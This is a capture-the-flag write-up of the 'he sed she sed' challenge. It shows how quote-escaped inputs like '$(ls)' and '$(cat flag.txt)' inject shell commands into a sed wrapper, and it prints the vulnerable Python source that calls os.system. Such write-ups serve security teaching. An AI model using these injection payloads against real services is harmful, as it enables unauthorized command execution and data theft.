Tags: bash misc 

Rating: 5.0

In this misc challenge with description:

```
I'm not really sure what I sed to this program, so it fixes it for me!

nc chall2.2019.redpwn.net 6004
```

We are prompted three times for some input related to sed usage, let's put random things

```
What you thought you sed
abcdef
What you aren't sure you sed
b
What you actually sed
c
You actually said
accdef
```

It seems that it asks for a string, then a pattern to substitute and the string to substitute with. Syntax of the command could be similar to:

```bash
echo $1 | sed 's/$2/$3/g'
```

Let's try to get a RCE using $(command) syntax:

```
What you thought you sed
$(ls)
What you aren't sure you sed
a
What you actually sed
a
You actually said
$(ls)
```

He is treating the input as a properly string, let's try to escape it using quotes:

```
What you thought you sed
'$(ls)'
What you aren't sure you sed
a
What you actually sed
a
You actually said
bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin sed.py srv sys tmp usr var
```

It works! To get the flag we just need to cat the corresponding file

```
What you thought you sed
'$(cat flag.txt)'
What you aren't sure you sed
a
What you actually sed
a
You actually said
flag{th4ts_wh4t_sh3_sed}
```

P.S: Let's have fun dumping the software used for this challenge using $(cat sed.py), the result is:

```python
from os import system

inp = input("What you thought you sed")
rep = '/' + input("What you aren't sure you sed") + '/'
new = input("What you actually sed")
cmd = 's' + rep + new + "/g"

if "'" not in new:
cmd += "'"

print(cmd)
print("You actually said")
system("echo '" + inp + "' | sed '" + cmd)
```

Original writeup (https://github.com/pwnsticciotti/writeups/blob/master/redpwnCTF/he_sed_she_sed/README.md).